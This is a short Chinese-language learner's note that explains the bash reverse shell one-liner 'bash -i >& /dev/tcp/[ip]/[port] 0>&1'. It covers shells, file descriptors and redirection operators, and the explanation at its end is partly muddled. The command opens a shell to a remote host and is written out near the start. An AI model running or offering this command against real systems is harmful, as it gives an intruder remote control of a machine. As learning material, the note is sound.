(个人经验,仅供参考,错误之处,敬请谅解)
缘由
在学习Wen渗透过程中,遇到了“反弹shell” 这个专业名词。于是查询找到了整个反弹shell的过程,但对于其中第一条命令尤其不解.
bash -i >& /dev/tcp/[ip]/[port] 0>&1
经过
起初如果搜这个bash命令,很难找到这个命令和反弹shell有关,基本都是对于linux 命令的介绍。阅读理解之后,个人大概有一些理解,大体来说有以下几点:
- Shell是一个处理用户请求的工具或接口,它负责解释用户输入的命令,调用用户希望使用的程序。
- Linux中的shell有多种类型,这其中最常用的几种是Bourne shell(sh)、C shell(csh)和Korn shell(ksh)。
- Bourne Again shell,它是Linux操作系统缺省的shell,是Bourne shell的扩展,简称Bash,可以提供如命令补全、命令编辑和命令历史表等功能,有灵活和强大的编程接口,同时又有很友好的用户界面。
那么知道bash是linux一个解释命令的工具(对计算机进行各项操作),下面就有必要了解后面各种符号的意思。个人也是翻阅了不少的解释,给出相对中和的解释:
文件描述符:
0 - stdin 标准输入
1 - stdout 标准输出
2 - stderr 标准错误输出
>与<符号的使用
>是将标准输出重定向,一个代表新建或者覆盖后面的文件,两个代表向文件中追加信息
<是标准输入重定向
>&与&>的使用
这里有的解释说两种使用结果是一样也有亲自试验结果不一样
个人想强调的是:
如果后面跟文件没有必要使用&>,直接使用>不是更省事。
如果后面是文件描述符,则必须使用>&,因为&是强调后面为文件描述符的作用,又何必纠结两个是否相同。
最后总结下这个命令的具体作用
- -i参数实现交互命令
- 将标准输入重定向至标准输出,而将标准输出重定向至远程机的端口。
- 这样在远程机的命令执行结果都会回显到远程机。(而使用2>&1,标准错误同标准输出都会重定向不适用于此处,因为是在远程机操作)